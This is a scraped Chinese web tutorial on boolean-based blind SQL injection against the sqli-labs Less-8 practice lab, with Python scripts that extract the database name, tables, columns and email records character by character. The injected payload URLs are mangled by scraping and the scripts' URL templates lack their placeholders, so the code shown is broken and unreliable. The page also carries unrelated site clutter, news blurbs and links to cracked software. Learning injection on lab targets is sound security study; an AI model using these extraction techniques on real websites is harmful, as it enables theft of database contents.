杰晶网络

SQL注入之基于布尔的盲注详解
数据库 2024/11/23 佚名
3 2

基于布尔的盲注

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

由于本次是布尔注入，手注无法完整地进行脱裤。所以在本节需要编写大量的代码来帮助我们进行SQL注入，得到数据。所以在这章里面会有很多的Python代码。

本次的示例就是Less-8。

通过进行下面的语句的注入测试

http://localhost/sqlilabs/Less-8/"
http://localhost/sqlilabs/Less-8/"htmlcode">



select field from table where id='userinput'





id参数是被单引号包括的。其他的信息我们就无法得到了。


得到数据库的名称


在得到数据库的名称之前，首先需要得到数据库的长度





http://localhost/sqlilabs/Less-8/"htmlcode">



def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)





得到最后的结果的是security，是正确的。


得到数据库中的表信息


其实所有的SQL注入步骤都是类似的。首先得到数据库的名称(这一步不是必须的)，然后得到当前数据库的表名称，然后得到表的字段，最后进行脱裤。这个步骤在前一章已经有说明了。




首先看一个简单的SQL盲注获取数据库表信息的写法。





http://localhost/sqlilabs/Less-8/"htmlcode">



http://localhost/sqlilabs/Less-8/"htmlcode">



def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)





最后得到了第一个表名是emails,如果要得到其他的表名只需要将代码limit 0,1修改成为limit 1,1或者是其他的就可以了。


得到表名的列信息


在得到列名之前，同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度，那么就可以使用如下的语句来获取。





http://localhost/sqlilabs/Less-8/"htmlcode">



http://localhost/sqlilabs/Less-8/"htmlcode">



def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)





通过上面这个代码，我们可以得到在emails表中存在的字段名称分别是id和email_id


脱裤


在得到了字段名称之后，接下来最重要的一步就是进行脱裤了。

在进行脱裤之前，我们首先判断在emails表中有多少条记录。


使用的语句如下：





http://localhost/sqlilabs/Less-8/"htmlcode">



http://localhost/sqlilabs/Less-8/"htmlcode">



def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)





通过上面的这段代码就得到了内容是Dumb@dhakkan.com,其他的内容就同样通过这段方式得到数据了。这里就不作演示了。


总结


其实基于布尔盲注和基于时间的盲注都是需要编写大量的代码，就像本篇的文章一样。之前在简单的SQL注入中，一句SQL注入代码就可以解决的问题在这里就需要编写Python代码来进行大量的注入测试才能够得到内容。其实之前我也很少完整的用Python来编写SQL注入代码完成整个布尔盲注的注入过程。通过本章的编写，熟悉了使用Python代码完整地进行一次布尔盲注的过程了，学习了很多。以上就是这篇文章的全部内容了，希望对大家能有所帮助。




                                

                                

                                     

                                

                                    标签：
                                        
sql注入盲注,sql盲注,基于布尔的盲注

                                     

                            

                        

                        

                            

                                免责声明：本站文章均来自网站采集或用户投稿，网站不提供任何软件下载或自行开发的软件！
                                如有用户或公司发现本站内容信息存在侵权行为，请邮件告知！ 858582#qq.com
                            

                        

                        

                            
                            
                        

                        
                        

                            

                                
                                
                                    评论“SQL注入之基于布尔的盲注详解”
                                
                            

                            

                                

                                    
                                    

                                    

                                        
暂无“SQL注入之基于布尔的盲注详解”评论...

                                    

                                

                            

                        

                        
                    

                    

                        

                            

                                

                                    

                                        

                                    

                                    

                                        

                                            
                                        

                                    

                                

                                

                                    
www.imxmx.com
                                            
                                                杰晶网络 
                                    

                                    

                                        

                                            
                                        

                                        

                                            
                                        

                                        

                                            
                                        

                                        

                                            
                                        

                                    

                                    

                                    

                                        

                                            8,675无损音乐
                                        

                                        

                                            1,324高清电影
                                        

                                        

                                            213破解软件
                                        

                                        

                                            120,141站长资源
                                        

                                    

                                

                            

                            
                            
一句话新闻
苹果官宣WWDC 2024！预计会有大批AI功能 - 2024/11/23

3月27日消息，苹果宣布2024年全球开发者大会（WWDC）将于6月10日至6月14日举行，巧合的是，这次大会与端午假期重合。

苹果官方表示：

在线参加 Apple 每年规模最大的开发者盛会。亲眼见证 Apple 最新平台、技术和工具的发布。了解如何创建和改进你的 App 和游戏。与 Apple 设计师和工程师互动交流，与全球开发者社区建立联系。以上活动均免费在线举行。

探索各种新的工具、框架和功能，助力你打造出理想的 App 和游戏。通过视频讲座学习新技能，与 Apple 专家进行一对一会面，以推进你的项目，完善你的构思。

Swift Student Challenge 旨在支持和鼓舞下一代开发者、创作者和企业家。太平洋时间 3 月 28 日，我们将公布今年的获奖者名单。获奖者将有资格参加在 Apple Park 举办的特别活动。我们还会选出 50 名杰出获胜者，他们将受邀前往库比提诺，获得为期三天的非凡体验，包括参加 Apple Park 的特别活动。

                        

                    

                

            

            
RTX 5090要首发 性能要翻倍！三星展示GDDR7显存
三星在GTC上展示了专为下一代游戏GPU设计的GDDR7内存。
首次推出的GDDR7内存模块密度为16GB，每个模块容量为2GB。其速度预设为32 Gbps（PAM3），但也可以降至28 Gbps，以提高产量和初始阶段的整体性能和成本效益。
据三星表示，GDDR7内存的能效将提高20%，同时工作电压仅为1.1V，低于标准的1.2V。通过采用更新的封装材料和优化的电路设计，使得在高速运行时的发热量降低，GDDR7的热阻比GDDR6降低了70%。

            

                

                    

                        

                            
更新动态

                        

                        

                            
                        

                    

                

            

            

                

                    友情链接 

                

                    

                        杰晶网络
                        DDR爱好者之家
                        南强小屋
                        黑松山资源网
                        白云城资源网